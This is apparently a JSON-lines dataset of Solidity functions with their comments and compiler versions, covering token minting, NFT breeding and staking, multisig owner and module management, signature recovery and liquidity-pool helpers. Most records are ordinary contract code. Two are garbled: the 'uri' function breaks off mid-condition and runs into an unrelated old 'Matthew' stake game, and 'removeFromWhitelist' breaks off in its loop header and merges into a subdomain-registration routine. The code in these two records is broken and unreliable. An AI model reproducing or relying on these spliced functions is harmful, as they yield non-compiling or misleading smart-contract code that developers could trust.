sequencerInboxParams[0];\n sequencerInboxMaxDelaySeconds = sequencerInboxParams[1];\n\n // facets[0] == admin, facets[1] == user\n facets = _facets;\n\n (bool success, ) =\n _facets[1].delegatecall(\n abi.encodeWithSelector(IRollupUser.initialize.selector, _stakeToken)\n );\n require(success, \"FAIL_INIT_FACET\");\n\n emit RollupCreated(_machineHash);\n }", "version": "0.6.11"} {"comment": "/** ========== Internal Helpers ========== */", "function_code": "function _mint(address dst, uint256 rawAmount) internal virtual {\n require(dst != address(0), \"mint to the zero address\");\n uint96 amount = safe96(rawAmount);\n _totalSupply = add96(_totalSupply, amount, \"mint amount overflows\");\n balances[dst] += amount; // add96 not needed because totalSupply does not overflow\n emit Transfer(address(0), dst, amount);\n _moveDelegates(address(0), delegates[dst], amount);\n }", "version": "0.7.6"} {"comment": "/*\r\n * Function to mint new NFTs when breeding\r\n */", "function_code": "function breed(\r\n uint256 idSecond\r\n ) \r\n public \r\n payable\r\n {\r\n require(NFTPrice == msg.value, \"Ether value sent is not correct\");\r\n require(isActive, \"Contract is not active\");\r\n require(BAYC.balanceOf(msg.sender)>=1,\"You are not BAYC\");\r\n require(!hasBreed[idSecond],\"1 MGDC can breed only once\");\r\n require(MGDCisBreeding[idSecond],\"this MGDC is not listed\");\r\n mint(msg.sender,1);\r\n mint(MGDC.ownerOf(idSecond),1);\r\n hasBreed[idSecond]=true;\r\n \r\n\r\n }", "version": "0.8.4"} {"comment": "/*\r\n * Function to get token URI of given token ID\r\n */", "function_code": "function uri(\r\n uint256 _tokenId\r\n ) \r\n public \r\n view \r\n virtual \r\n override \r\n returns (string memory) \r\n {\r\n require(_tokenId= blockheight){ // time is over, Matthew won\r\n bool isSuccess=false; //mutex against recursion attack\r\n var nextStake = this.balance * WINNERTAX_PRECENT/100; // leave some money for the next round\r\n if (isSuccess == false) //check against recursion attack\r\n isSuccess = whale.send(this.balance - nextStake); // pay out the stake\r\n MatthewWon(\"Matthew won\", whale, this.balance, block.number);\r\n setFacts();//reset the game\r\n if (mustBeDestroyed) selfdestruct(whale); \r\n return;\r\n \r\n }else{ // top the stake\r\n if (msg.value < this.balance + DELTA) throw; // you must rise the stake by Delta\r\n bool isOtherSuccess = msg.sender.send(this.balance); // give back the old stake\r\n setFacts(); //reset the game\r\n StakeIncreased(\"stake increased\", whale, this.balance, blockheight);\r\n }\r\n }", "version": "0.4.7"} {"comment": "/**\r\n * @dev Initializes balances on token launch.\r\n * @param accounts The addresses to mint to.\r\n * @param amounts The amounts to be minted.\r\n */", "function_code": "function initBalances(address[] calldata accounts, uint32[] calldata amounts) external onlyOwner returns (bool) {\r\n require(!_balancesInitialized, \"Balance initialization already complete.\");\r\n require(accounts.length > 0 && accounts.length == amounts.length, \"Mismatch between number of accounts and amounts.\");\r\n for (uint256 i = 0; i < accounts.length; i++) _mint(accounts[i], uint256(amounts[i]));\r\n return true;\r\n }", "version": "0.5.16"} {"comment": "// Note that owners_ must be strictly increasing, in order to prevent duplicates", "function_code": "function createWallet(bytes32 id, address owner) internal {\n Wallet storage wallet = wallets[id];\n require(wallet.owner == address(0), \"Wallet already exists\");\n wallet.owner = owner;\n\n wallet.DOMAIN_SEPARATOR = keccak256(\n abi.encode(\n EIP712DOMAINTYPE_HASH,\n NAME_HASH,\n VERSION_HASH,\n chainId,\n this,\n id\n )\n );\n }", "version": "0.5.8"} {"comment": "/// @dev singleTransferERC20 sends tokens from contract.\n/// @param _destToken The address of target token.\n/// @param _to The address of recipient.\n/// @param _amount The amount of tokens.\n/// @param _totalSwapped The amount of swap.\n/// @param _rewardsAmount The fees that should be paid.\n/// @param _redeemedFloatTxIds The txids which is for recording.", "function_code": "function singleTransferERC20(\r\n address _destToken,\r\n address _to,\r\n uint256 _amount,\r\n uint256 _totalSwapped,\r\n uint256 _rewardsAmount,\r\n bytes32[] memory _redeemedFloatTxIds\r\n ) external override onlyOwner returns (bool) {\r\n require(whitelist[_destToken], \"_destToken is not whitelisted\");\r\n require(\r\n _destToken != address(0),\r\n \"_destToken should not be address(0)\"\r\n );\r\n address _feesToken = address(0);\r\n if (_totalSwapped > 0) {\r\n _swap(address(0), WBTC_ADDR, _totalSwapped);\r\n } else if (_totalSwapped == 0) {\r\n _feesToken = WBTC_ADDR;\r\n }\r\n if (_destToken == lpToken) {\r\n _feesToken = lpToken;\r\n }\r\n _rewardsCollection(_feesToken, _rewardsAmount);\r\n _addUsedTxs(_redeemedFloatTxIds);\r\n require(IERC20(_destToken).transfer(_to, _amount));\r\n return true;\r\n }", "version": "0.7.5"} {"comment": "/// @dev multiTransferERC20TightlyPacked sends tokens from contract.\n/// @param _destToken The address of target token.\n/// @param _addressesAndAmounts The address of recipient and amount.\n/// @param _totalSwapped The amount of swap.\n/// @param _rewardsAmount The fees that should be paid.\n/// @param _redeemedFloatTxIds The txids which is for recording.", "function_code": "function multiTransferERC20TightlyPacked(\r\n address _destToken,\r\n bytes32[] memory _addressesAndAmounts,\r\n uint256 _totalSwapped,\r\n uint256 _rewardsAmount,\r\n bytes32[] memory _redeemedFloatTxIds\r\n ) external override onlyOwner returns (bool) {\r\n require(whitelist[_destToken], \"_destToken is not whitelisted\");\r\n require(\r\n _destToken != address(0),\r\n \"_destToken should not be address(0)\"\r\n );\r\n address _feesToken = address(0);\r\n if (_totalSwapped > 0) {\r\n _swap(address(0), WBTC_ADDR, _totalSwapped);\r\n } else if (_totalSwapped == 0) {\r\n _feesToken = WBTC_ADDR;\r\n }\r\n if (_destToken == lpToken) {\r\n _feesToken = lpToken;\r\n }\r\n _rewardsCollection(_feesToken, _rewardsAmount);\r\n _addUsedTxs(_redeemedFloatTxIds);\r\n for (uint256 i = 0; i < _addressesAndAmounts.length; i++) {\r\n require(\r\n IERC20(_destToken).transfer(\r\n address(uint160(uint256(_addressesAndAmounts[i]))),\r\n uint256(uint96(bytes12(_addressesAndAmounts[i])))\r\n ),\r\n \"Batch transfer error\"\r\n );\r\n }\r\n return true;\r\n }", "version": "0.7.5"} {"comment": "/**\r\n @notice send epoch reward to staking contract\r\n */", "function_code": "function distribute() external returns ( bool ) {\r\n if ( nextEpochTime <= uint32(block.timestamp) ) {\r\n nextEpochTime = nextEpochTime.add32( epochLength ); // set next epoch time\r\n \r\n // distribute rewards to each recipient\r\n for ( uint i = 0; i < info.length; i++ ) {\r\n if ( info[ i ].rate > 0 ) {\r\n ITreasury( treasury ).mintRewards( // mint and send from treasury\r\n info[ i ].recipient, \r\n nextRewardAt( info[ i ].rate ) \r\n );\r\n adjust( i ); // check for adjustment\r\n }\r\n }\r\n return true;\r\n } else { \r\n return false; \r\n }\r\n }", "version": "0.7.5"} {"comment": "/**\r\n @notice increment reward rate for collector\r\n */", "function_code": "function adjust( uint _index ) internal {\r\n Adjust memory adjustment = adjustments[ _index ];\r\n if ( adjustment.rate != 0 ) {\r\n if ( adjustment.add ) { // if rate should increase\r\n info[ _index ].rate = info[ _index ].rate.add( adjustment.rate ); // raise rate\r\n if ( info[ _index ].rate >= adjustment.target ) { // if target met\r\n adjustments[ _index ].rate = 0; // turn off adjustment\r\n }\r\n } else { // if rate should decrease\r\n info[ _index ].rate = info[ _index ].rate.sub( adjustment.rate ); // lower rate\r\n if ( info[ _index ].rate <= adjustment.target ) { // if target met\r\n adjustments[ _index ].rate = 0; // turn off adjustment\r\n }\r\n }\r\n }\r\n }", "version": "0.7.5"} {"comment": "/**\r\n @notice view function for next reward for specified address\r\n @param _recipient address\r\n @return uint\r\n */", "function_code": "function nextRewardFor( address _recipient ) public view returns ( uint ) {\r\n uint reward;\r\n for ( uint i = 0; i < info.length; i++ ) {\r\n if ( info[ i ].recipient == _recipient ) {\r\n reward = nextRewardAt( info[ i ].rate );\r\n }\r\n }\r\n return reward;\r\n }", "version": "0.7.5"} {"comment": "/// @dev Transfers a token and returns if it was a success\n/// @param token Token that should be transferred\n/// @param receiver Receiver to whom the token should be transferred\n/// @param amount The amount of tokens that should be transferred", "function_code": "function transferToken (\r\n address token, \r\n address receiver,\r\n uint256 amount\r\n )\r\n internal\r\n returns (bool transferred)\r\n {\r\n bytes memory data = abi.encodeWithSignature(\"transfer(address,uint256)\", receiver, amount);\r\n // solium-disable-next-line security/no-inline-assembly\r\n assembly {\r\n let success := call(sub(gas, 10000), token, 0, add(data, 0x20), mload(data), 0, 0)\r\n let ptr := mload(0x40)\r\n returndatacopy(ptr, 0, returndatasize)\r\n switch returndatasize \r\n case 0 { transferred := success }\r\n case 0x20 { transferred := iszero(or(iszero(success), iszero(mload(ptr)))) }\r\n default { transferred := 0 }\r\n }\r\n }", "version": "0.5.3"} {"comment": "/// @dev Allows to add a module to the whitelist.\n/// This can only be done via a Safe transaction.\n/// @param module Module to be whitelisted.", "function_code": "function enableModule(Module module)\r\n public\r\n authorized\r\n {\r\n // Module address cannot be null or sentinel.\r\n require(address(module) != address(0) && address(module) != SENTINEL_MODULES, \"Invalid module address provided\");\r\n // Module cannot be added twice.\r\n require(modules[address(module)] == address(0), \"Module has already been added\");\r\n modules[address(module)] = modules[SENTINEL_MODULES];\r\n modules[SENTINEL_MODULES] = address(module);\r\n emit EnabledModule(module);\r\n }", "version": "0.5.3"} {"comment": "/// @dev Allows to remove a module from the whitelist.\n/// This can only be done via a Safe transaction.\n/// @param prevModule Module that pointed to the module to be removed in the linked list\n/// @param module Module to be removed.", "function_code": "function disableModule(Module prevModule, Module module)\r\n public\r\n authorized\r\n {\r\n // Validate module address and check that it corresponds to module index.\r\n require(address(module) != address(0) && address(module) != SENTINEL_MODULES, \"Invalid module address provided\");\r\n require(modules[address(prevModule)] == address(module), \"Invalid prevModule, module pair provided\");\r\n modules[address(prevModule)] = modules[address(module)];\r\n modules[address(module)] = address(0);\r\n emit DisabledModule(module);\r\n }", "version": "0.5.3"} {"comment": "/// @dev Allows a Module to execute a Safe transaction without any further confirmations.\n/// @param to Destination address of module transaction.\n/// @param value Ether value of module transaction.\n/// @param data Data payload of module transaction.\n/// @param operation Operation type of module transaction.", "function_code": "function execTransactionFromModule(address to, uint256 value, bytes memory data, Enum.Operation operation)\r\n public\r\n returns (bool success)\r\n {\r\n // Only whitelisted modules are allowed.\r\n require(modules[msg.sender] != address(0), \"Method can only be called from an enabled module\");\r\n // Execute transaction without further confirmations.\r\n success = execute(to, value, data, operation, gasleft());\r\n }", "version": "0.5.3"} {"comment": "/// @dev Returns array of modules.\n/// @return Array of modules.", "function_code": "function getModules()\r\n public\r\n view\r\n returns (address[] memory)\r\n {\r\n // Calculate module count\r\n uint256 moduleCount = 0;\r\n address currentModule = modules[SENTINEL_MODULES];\r\n while(currentModule != SENTINEL_MODULES) {\r\n currentModule = modules[currentModule];\r\n moduleCount ++;\r\n }\r\n address[] memory array = new address[](moduleCount);\r\n\r\n // populate return array\r\n moduleCount = 0;\r\n currentModule = modules[SENTINEL_MODULES];\r\n while(currentModule != SENTINEL_MODULES) {\r\n array[moduleCount] = currentModule;\r\n currentModule = modules[currentModule];\r\n moduleCount ++;\r\n }\r\n return array;\r\n }", "version": "0.5.3"} {"comment": "/// @dev Setup function sets initial storage of contract.\n/// @param _owners List of Safe owners.\n/// @param _threshold Number of required confirmations for a Safe transaction.", "function_code": "function setupOwners(address[] memory _owners, uint256 _threshold)\r\n internal\r\n {\r\n // Threshold can only be 0 at initialization.\r\n // Check ensures that setup function can only be called once.\r\n require(threshold == 0, \"Owners have already been setup\");\r\n // Validate that threshold is smaller than number of added owners.\r\n require(_threshold <= _owners.length, \"Threshold cannot exceed owner count\");\r\n // There has to be at least one Safe owner.\r\n require(_threshold >= 1, \"Threshold needs to be greater than 0\");\r\n // Initializing Safe owners.\r\n address currentOwner = SENTINEL_OWNERS;\r\n for (uint256 i = 0; i < _owners.length; i++) {\r\n // Owner address cannot be null.\r\n address owner = _owners[i];\r\n require(owner != address(0) && owner != SENTINEL_OWNERS, \"Invalid owner address provided\");\r\n // No duplicate owners allowed.\r\n require(owners[owner] == address(0), \"Duplicate owner address provided\");\r\n owners[currentOwner] = owner;\r\n currentOwner = owner;\r\n }\r\n owners[currentOwner] = SENTINEL_OWNERS;\r\n ownerCount = _owners.length;\r\n threshold = _threshold;\r\n }", "version": "0.5.3"} {"comment": "/// @dev Allows to add a new owner to the Safe and update the threshold at the same time.\n/// This can only be done via a Safe transaction.\n/// @param owner New owner address.\n/// @param _threshold New threshold.", "function_code": "function addOwnerWithThreshold(address owner, uint256 _threshold)\r\n public\r\n authorized\r\n {\r\n // Owner address cannot be null.\r\n require(owner != address(0) && owner != SENTINEL_OWNERS, \"Invalid owner address provided\");\r\n // No duplicate owners allowed.\r\n require(owners[owner] == address(0), \"Address is already an owner\");\r\n owners[owner] = owners[SENTINEL_OWNERS];\r\n owners[SENTINEL_OWNERS] = owner;\r\n ownerCount++;\r\n emit AddedOwner(owner);\r\n // Change threshold if threshold was changed.\r\n if (threshold != _threshold)\r\n changeThreshold(_threshold);\r\n }", "version": "0.5.3"} {"comment": "/// @dev Allows to remove an owner from the Safe and update the threshold at the same time.\n/// This can only be done via a Safe transaction.\n/// @param prevOwner Owner that pointed to the owner to be removed in the linked list\n/// @param owner Owner address to be removed.\n/// @param _threshold New threshold.", "function_code": "function removeOwner(address prevOwner, address owner, uint256 _threshold)\r\n public\r\n authorized\r\n {\r\n // Only allow to remove an owner, if threshold can still be reached.\r\n require(ownerCount - 1 >= _threshold, \"New owner count needs to be larger than new threshold\");\r\n // Validate owner address and check that it corresponds to owner index.\r\n require(owner != address(0) && owner != SENTINEL_OWNERS, \"Invalid owner address provided\");\r\n require(owners[prevOwner] == owner, \"Invalid prevOwner, owner pair provided\");\r\n owners[prevOwner] = owners[owner];\r\n owners[owner] = address(0);\r\n ownerCount--;\r\n emit RemovedOwner(owner);\r\n // Change threshold if threshold was changed.\r\n if (threshold != _threshold)\r\n changeThreshold(_threshold);\r\n }", "version": "0.5.3"} {"comment": "/// @dev Allows to swap/replace an owner from the Safe with another address.\n/// This can only be done via a Safe transaction.\n/// @param prevOwner Owner that pointed to the owner to be replaced in the linked list\n/// @param oldOwner Owner address to be replaced.\n/// @param newOwner New owner address.", "function_code": "function swapOwner(address prevOwner, address oldOwner, address newOwner)\r\n public\r\n authorized\r\n {\r\n // Owner address cannot be null.\r\n require(newOwner != address(0) && newOwner != SENTINEL_OWNERS, \"Invalid owner address provided\");\r\n // No duplicate owners allowed.\r\n require(owners[newOwner] == address(0), \"Address is already an owner\");\r\n // Validate oldOwner address and check that it corresponds to owner index.\r\n require(oldOwner != address(0) && oldOwner != SENTINEL_OWNERS, \"Invalid owner address provided\");\r\n require(owners[prevOwner] == oldOwner, \"Invalid prevOwner, owner pair provided\");\r\n owners[newOwner] = owners[oldOwner];\r\n owners[prevOwner] = newOwner;\r\n owners[oldOwner] = address(0);\r\n emit RemovedOwner(oldOwner);\r\n emit AddedOwner(newOwner);\r\n }", "version": "0.5.3"} {"comment": "/// @dev Allows to update the number of required confirmations by Safe owners.\n/// This can only be done via a Safe transaction.\n/// @param _threshold New threshold.", "function_code": "function changeThreshold(uint256 _threshold)\r\n public\r\n authorized\r\n {\r\n // Validate that threshold is smaller than number of owners.\r\n require(_threshold <= ownerCount, \"Threshold cannot exceed owner count\");\r\n // There has to be at least one Safe owner.\r\n require(_threshold >= 1, \"Threshold needs to be greater than 0\");\r\n threshold = _threshold;\r\n emit ChangedThreshold(threshold);\r\n }", "version": "0.5.3"} {"comment": "/// @dev Returns array of owners.\n/// @return Array of Safe owners.", "function_code": "function getOwners()\r\n public\r\n view\r\n returns (address[] memory)\r\n {\r\n address[] memory array = new address[](ownerCount);\r\n\r\n // populate return array\r\n uint256 index = 0;\r\n address currentOwner = owners[SENTINEL_OWNERS];\r\n while(currentOwner != SENTINEL_OWNERS) {\r\n array[index] = currentOwner;\r\n currentOwner = owners[currentOwner];\r\n index ++;\r\n }\r\n return array;\r\n }", "version": "0.5.3"} {"comment": "/// @dev Setup function sets initial storage of contract.\n/// @param _owners List of Safe owners.\n/// @param _threshold Number of required confirmations for a Safe transaction.\n/// @param to Contract address for optional delegate call.\n/// @param data Data payload for optional delegate call.", "function_code": "function setupSafe(address[] memory _owners, uint256 _threshold, address to, bytes memory data)\r\n internal\r\n {\r\n setupOwners(_owners, _threshold);\r\n // As setupOwners can only be called if the contract has not been initialized we don't need a check for setupModules\r\n setupModules(to, data);\r\n }", "version": "0.5.3"} {"comment": "/// @dev Recovers address who signed the message \n/// @param messageHash operation ethereum signed message hash\n/// @param messageSignature message `txHash` signature\n/// @param pos which signature to read", "function_code": "function recoverKey (\r\n bytes32 messageHash, \r\n bytes memory messageSignature,\r\n uint256 pos\r\n )\r\n internal\r\n pure\r\n returns (address) \r\n {\r\n uint8 v;\r\n bytes32 r;\r\n bytes32 s;\r\n (v, r, s) = signatureSplit(messageSignature, pos);\r\n return ecrecover(messageHash, v, r, s);\r\n }", "version": "0.5.3"} {"comment": "/// @dev divides bytes signature into `uint8 v, bytes32 r, bytes32 s`\n/// @param pos which signature to read\n/// @param signatures concatenated rsv signatures", "function_code": "function signatureSplit(bytes memory signatures, uint256 pos)\r\n internal\r\n pure\r\n returns (uint8 v, bytes32 r, bytes32 s)\r\n {\r\n // The signature format is a compact form of:\r\n // {bytes32 r}{bytes32 s}{uint8 v}\r\n // Compact means, uint8 is not padded to 32 bytes.\r\n // solium-disable-next-line security/no-inline-assembly\r\n assembly {\r\n let signaturePos := mul(0x41, pos)\r\n r := mload(add(signatures, add(signaturePos, 0x20)))\r\n s := mload(add(signatures, add(signaturePos, 0x40)))\r\n // Here we are loading the last 32 bytes, including 31 bytes\r\n // of 's'. There is no 'mload8' to do this.\r\n //\r\n // 'byte' is not working due to the Solidity parser, so lets\r\n // use the second best option, 'and'\r\n v := and(mload(add(signatures, add(signaturePos, 0x41))), 0xff)\r\n }\r\n }", "version": "0.5.3"} {"comment": "/// @dev _issueLPTokensForFloat\n/// @param _token The address of target token.\n/// @param _transaction The recevier address and amount.\n/// @param _zerofee The flag to accept zero fees.\n/// @param _txid The txid which is for recording.", "function_code": "function _issueLPTokensForFloat(\r\n address _token,\r\n bytes32 _transaction,\r\n bool _zerofee,\r\n bytes32 _txid\r\n ) internal returns (bool) {\r\n require(!isTxUsed(_txid), \"The txid is already used\");\r\n require(_transaction != 0x0, \"The transaction is not valid\");\r\n // Define target address which is recorded on the tx data (20 bytes)\r\n // Define amountOfFloat which is recorded top on tx data (12 bytes)\r\n (address to, uint256 amountOfFloat) = _splitToValues(_transaction);\r\n // Calculate the amount of LP token\r\n uint256 nowPrice = getCurrentPriceLP();\r\n uint256 amountOfLP = amountOfFloat.mul(priceDecimals).div(nowPrice);\r\n uint256 depositFeeRate = getDepositFeeRate(_token, amountOfFloat);\r\n uint256 depositFees = depositFeeRate != 0\r\n ? amountOfLP.mul(depositFeeRate).div(10000)\r\n : 0;\r\n\r\n if (_zerofee && depositFees != 0) {\r\n revert();\r\n }\r\n // Send LP tokens to LP\r\n IBurnableToken(lpToken).mint(to, amountOfLP.sub(depositFees));\r\n // Add deposit fees\r\n lockedLPTokensForNode = lockedLPTokensForNode.add(depositFees);\r\n // Add float amount\r\n _addFloat(_token, amountOfFloat);\r\n _addUsedTx(_txid);\r\n emit IssueLPTokensForFloat(\r\n to,\r\n amountOfFloat,\r\n amountOfLP,\r\n nowPrice,\r\n depositFees,\r\n _txid\r\n );\r\n return true;\r\n }", "version": "0.7.5"} {"comment": "/// @dev _checkFlips checks whether the fees are activated.\n/// @param _token The address of target token.\n/// @param _amountOfFloat The amount of float.", "function_code": "function _checkFlips(address _token, uint256 _amountOfFloat)\r\n internal\r\n view\r\n returns (uint8)\r\n {\r\n (uint256 reserveA, uint256 reserveB) = getFloatReserve(\r\n address(0),\r\n WBTC_ADDR\r\n );\r\n uint256 threshold = reserveA\r\n .add(reserveB)\r\n .add(_amountOfFloat)\r\n .mul(2)\r\n .div(3);\r\n if (_token == WBTC_ADDR && reserveB.add(_amountOfFloat) >= threshold) {\r\n return 1; // BTC float insufficient\r\n }\r\n if (_token == address(0) && reserveA.add(_amountOfFloat) >= threshold) {\r\n return 2; // WBTC float insufficient\r\n }\r\n return 0;\r\n }", "version": "0.7.5"} {"comment": "/// @dev Allows to estimate a Safe transaction.\n/// This method is only meant for estimation purpose, therfore two different protection mechanism against execution in a transaction have been made:\n/// 1.) The method can only be called from the safe itself\n/// 2.) The response is returned with a revert\n/// When estimating set `from` to the address of the safe.\n/// Since the `estimateGas` function includes refunds, call this method to get an estimated of the costs that are deducted from the safe with `execTransaction`\n/// @param to Destination address of Safe transaction.\n/// @param value Ether value of Safe transaction.\n/// @param data Data payload of Safe transaction.\n/// @param operation Operation type of Safe transaction.\n/// @return Estimate without refunds and overhead fees (base transaction and payload data gas costs).", "function_code": "function requiredTxGas(address to, uint256 value, bytes calldata data, Enum.Operation operation)\r\n external\r\n authorized\r\n returns (uint256)\r\n {\r\n uint256 startGas = gasleft();\r\n // We don't provide an error message here, as we use it to return the estimate\r\n // solium-disable-next-line error-reason\r\n require(execute(to, value, data, operation, gasleft()));\r\n uint256 requiredGas = startGas - gasleft();\r\n // Convert response to string and return via error message\r\n revert(string(abi.encodePacked(requiredGas)));\r\n }", "version": "0.5.3"} {"comment": "/**\r\n * @dev Should return whether the signature provided is valid for the provided data\r\n * @param _data Arbitrary length data signed on the behalf of address(this)\r\n * @param _signature Signature byte array associated with _data\r\n * @return a bool upon valid or invalid signature with corresponding _data\r\n */", "function_code": "function isValidSignature(bytes calldata _data, bytes calldata _signature)\r\n external\r\n returns (bool isValid)\r\n {\r\n bytes32 messageHash = getMessageHash(_data);\r\n if (_signature.length == 0) {\r\n isValid = signedMessages[messageHash] != 0;\r\n } else {\r\n // consumeHash needs to be false, as the state should not be changed\r\n isValid = checkSignatures(messageHash, _data, _signature, false);\r\n }\r\n }", "version": "0.5.3"} {"comment": "/// @dev Returns the bytes that are hashed to be signed by owners.\n/// @param to Destination address.\n/// @param value Ether value.\n/// @param data Data payload.\n/// @param operation Operation type.\n/// @param safeTxGas Fas that should be used for the safe transaction.\n/// @param dataGas Gas costs for data used to trigger the safe transaction.\n/// @param gasPrice Maximum gas price that should be used for this transaction.\n/// @param gasToken Token address (or 0 if ETH) that is used for the payment.\n/// @param refundReceiver Address of receiver of gas payment (or 0 if tx.origin).\n/// @param _nonce Transaction nonce.\n/// @return Transaction hash bytes.", "function_code": "function encodeTransactionData(\r\n address to, \r\n uint256 value, \r\n bytes memory data, \r\n Enum.Operation operation, \r\n uint256 safeTxGas, \r\n uint256 dataGas, \r\n uint256 gasPrice,\r\n address gasToken,\r\n address refundReceiver,\r\n uint256 _nonce\r\n )\r\n public\r\n view\r\n returns (bytes memory)\r\n {\r\n bytes32 safeTxHash = keccak256(\r\n abi.encode(SAFE_TX_TYPEHASH, to, value, keccak256(data), operation, safeTxGas, dataGas, gasPrice, gasToken, refundReceiver, _nonce)\r\n );\r\n return abi.encodePacked(byte(0x19), byte(0x01), domainSeparator, safeTxHash);\r\n }", "version": "0.5.3"} {"comment": "// ============ DPP Functions (create & reset) ============", "function_code": "function createDODOPrivatePool(\r\n address baseToken,\r\n address quoteToken,\r\n uint256 baseInAmount,\r\n uint256 quoteInAmount,\r\n uint256 lpFeeRate,\r\n uint256 i,\r\n uint256 k,\r\n bool isOpenTwap,\r\n uint256 deadLine\r\n )\r\n external\r\n override\r\n payable\r\n preventReentrant\r\n judgeExpired(deadLine)\r\n returns (address newPrivatePool)\r\n {\r\n newPrivatePool = IDODOV2(_DPP_FACTORY_).createDODOPrivatePool();\r\n\r\n address _baseToken = baseToken;\r\n address _quoteToken = quoteToken;\r\n _deposit(msg.sender, newPrivatePool, _baseToken, baseInAmount, _baseToken == _ETH_ADDRESS_);\r\n _deposit(\r\n msg.sender,\r\n newPrivatePool,\r\n _quoteToken,\r\n quoteInAmount,\r\n _quoteToken == _ETH_ADDRESS_\r\n );\r\n\r\n if (_baseToken == _ETH_ADDRESS_) _baseToken = _WETH_;\r\n if (_quoteToken == _ETH_ADDRESS_) _quoteToken = _WETH_;\r\n\r\n IDODOV2(_DPP_FACTORY_).initDODOPrivatePool(\r\n newPrivatePool,\r\n msg.sender,\r\n _baseToken,\r\n _quoteToken,\r\n lpFeeRate,\r\n k,\r\n i,\r\n isOpenTwap\r\n );\r\n }", "version": "0.6.9"} {"comment": "/// @dev Setup function sets initial storage of contract.\n/// @param dx DutchX Proxy Address.\n/// @param tokens List of whitelisted tokens.\n/// @param operators List of addresses that can operate the module.\n/// @param _manager Address of the manager, the safe contract.", "function_code": "function setup(address dx, address[] memory tokens, address[] memory operators, address payable _manager)\r\n public\r\n {\r\n require(address(manager) == address(0), \"Manager has already been set\");\r\n if (_manager == address(0)){\r\n manager = ModuleManager(msg.sender);\r\n }\r\n else{\r\n manager = ModuleManager(_manager);\r\n }\r\n\r\n dutchXAddress = dx;\r\n\r\n for (uint256 i = 0; i < tokens.length; i++) {\r\n address token = tokens[i];\r\n require(token != address(0), \"Invalid token provided\");\r\n isWhitelistedToken[token] = true;\r\n }\r\n\r\n whitelistedTokens = tokens;\r\n\r\n for (uint256 i = 0; i < operators.length; i++) {\r\n address operator = operators[i];\r\n require(operator != address(0), \"Invalid operator address provided\");\r\n isOperator[operator] = true;\r\n }\r\n\r\n whitelistedOperators = operators;\r\n }", "version": "0.5.3"} {"comment": "/// @dev Allows to remove token from whitelist. This can only be done via a Safe transaction.\n/// @param token ERC20 token address.", "function_code": "function removeFromWhitelist(address token)\r\n public\r\n authorized\r\n {\r\n require(isWhitelistedToken[token], \"Token is not whitelisted\");\r\n isWhitelistedToken[token] = false;\r\n\r\n for (uint i = 0; i 0 && ownerStakes > 0);\r\n }\r\n\r\n doRegistration(domainNode, subdomainLabel, subdomainOwner, Resolver(resolver));\r\n\r\n emit NewRegistration(label, subdomain, subdomainOwner);\r\n }", "version": "0.5.12"} {"comment": "/**\n * @notice Changes the boosted NFT ids that receive\n * a bigger daily reward\n *\n * @dev Restricted to contract owner\n *\n * @param _newBoostedNftIds the new boosted NFT ids\n */", "function_code": "function setBoostedNftIds(uint256[] memory _newBoostedNftIds) public onlyOwner {\n // Create array to store old boosted NFTs and emit\n // event later\n uint256[] memory oldBoostedNftIds = new uint256[](boostedNftIds.length());\n\n // Empty boosted NFT ids set\n for (uint256 i = 0; boostedNftIds.length() > 0; i++) {\n // Get a value from the set\n // Since set length is > 0 it is guaranteed\n // that there is a value at index 0\n uint256 value = boostedNftIds.at(0);\n\n // Remove the value\n boostedNftIds.remove(value);\n\n // Store the value to the old boosted NFT ids\n // list to later emit event\n oldBoostedNftIds[i] = value;\n }\n\n // Emit event\n emit BoostedNftIdsChanged(msg.sender, oldBoostedNftIds, _newBoostedNftIds);\n\n // Enumerate new boosted NFT ids\n for (uint256 i = 0; i < _newBoostedNftIds.length; i++) {\n uint256 boostedNftId = _newBoostedNftIds[i];\n\n // Add boosted NFT id to set\n boostedNftIds.add(boostedNftId);\n }\n }", "version": "0.8.10"} {"comment": "/**\n * @notice Calculates all the NFTs currently staken by\n * an address\n *\n * @dev This is an auxiliary function to help with integration\n * and is not used anywhere in the smart contract login\n *\n * @param _owner address to search staked tokens of\n * @return an array of token IDs of NFTs that are currently staken\n */", "function_code": "function tokensStakedByOwner(address _owner) external view returns (uint256[] memory) {\n // Cache the length of the staked tokens set for the owner\n uint256 stakedTokensLength = stakedTokens[_owner].length();\n\n // Create an empty array to store the result\n // Should be the same length as the staked tokens\n // set\n uint256[] memory tokenIds = new uint256[](stakedTokensLength);\n\n // Copy set values to array\n for (uint256 i = 0; i < stakedTokensLength; i++) {\n tokenIds[i] = stakedTokens[_owner].at(i);\n }\n\n // Return array result\n return tokenIds;\n }", "version": "0.8.10"} {"comment": "/**\n * @notice Stake NFTs to start earning ERC-20\n * token rewards\n *\n * The ERC-20 token rewards will be paid out\n * when the NFTs are unstaken\n *\n * @dev Sender must first approve this contract\n * to transfer NFTs on his behalf and NFT\n * ownership is transferred to this contract\n * for the duration of the staking\n *\n * @param _tokenIds token IDs of NFTs to be staken\n */", "function_code": "function stake(uint256[] memory _tokenIds) public {\n // Ensure at least one token ID was sent\n require(_tokenIds.length > 0, \"no token IDs sent\");\n\n // Enumerate sent token IDs\n for (uint256 i = 0; i < _tokenIds.length; i++) {\n // Get token ID\n uint256 tokenId = _tokenIds[i];\n\n // Store NFT owner\n ownerOf[tokenId] = msg.sender;\n\n // Add NFT to owner staked tokens\n stakedTokens[msg.sender].add(tokenId);\n\n // Store staking time as block timestamp the\n // the transaction was confirmed in\n stakedAt[tokenId] = block.timestamp;\n\n // Transfer token to staking contract\n // Will fail if the user does not own the\n // token or has not approved the staking\n // contract for transferring tokens on his\n // behalf\n erc721.safeTransferFrom(msg.sender, address(this), tokenId, \"\");\n\n // Emit event\n emit Staked(msg.sender, tokenId, stakedAt[tokenId]);\n }\n }", "version": "0.8.10"} {"comment": "// Helpful for UIs", "function_code": "function collateral_information(address collat_address) external view returns (CollateralInformation memory return_data){\r\n require(enabled_collaterals[collat_address], \"Invalid collateral\");\r\n\r\n // Get the index\r\n uint256 idx = collateralAddrToIdx[collat_address];\r\n \r\n return_data = CollateralInformation(\r\n idx, // [0]\r\n collateral_symbols[idx], // [1]\r\n collat_address, // [2]\r\n enabled_collaterals[collat_address], // [3]\r\n missing_decimals[idx], // [4]\r\n collateral_prices[idx], // [5]\r\n pool_ceilings[idx], // [6]\r\n mintPaused[idx], // [7]\r\n redeemPaused[idx], // [8]\r\n recollateralizePaused[idx], // [9]\r\n buyBackPaused[idx], // [10]\r\n minting_fee[idx], // [11]\r\n redemption_fee[idx], // [12]\r\n buyback_fee[idx], // [13]\r\n recollat_fee[idx] // [14]\r\n );\r\n }", "version": "0.8.4"} 